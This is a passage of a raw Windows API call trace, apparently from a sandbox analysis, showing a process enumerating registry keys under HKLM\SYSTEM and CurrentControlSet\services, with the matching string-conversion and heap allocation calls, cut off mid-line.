CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.661] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.661] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.661] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.661] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.664] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.664] RegCloseKey (hKey=0xc4) returned 0x0 [0253.664] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.664] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.665] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.665] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.665] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.665] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.665] RegCloseKey (hKey=0x14c) returned 0x0 [0253.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, 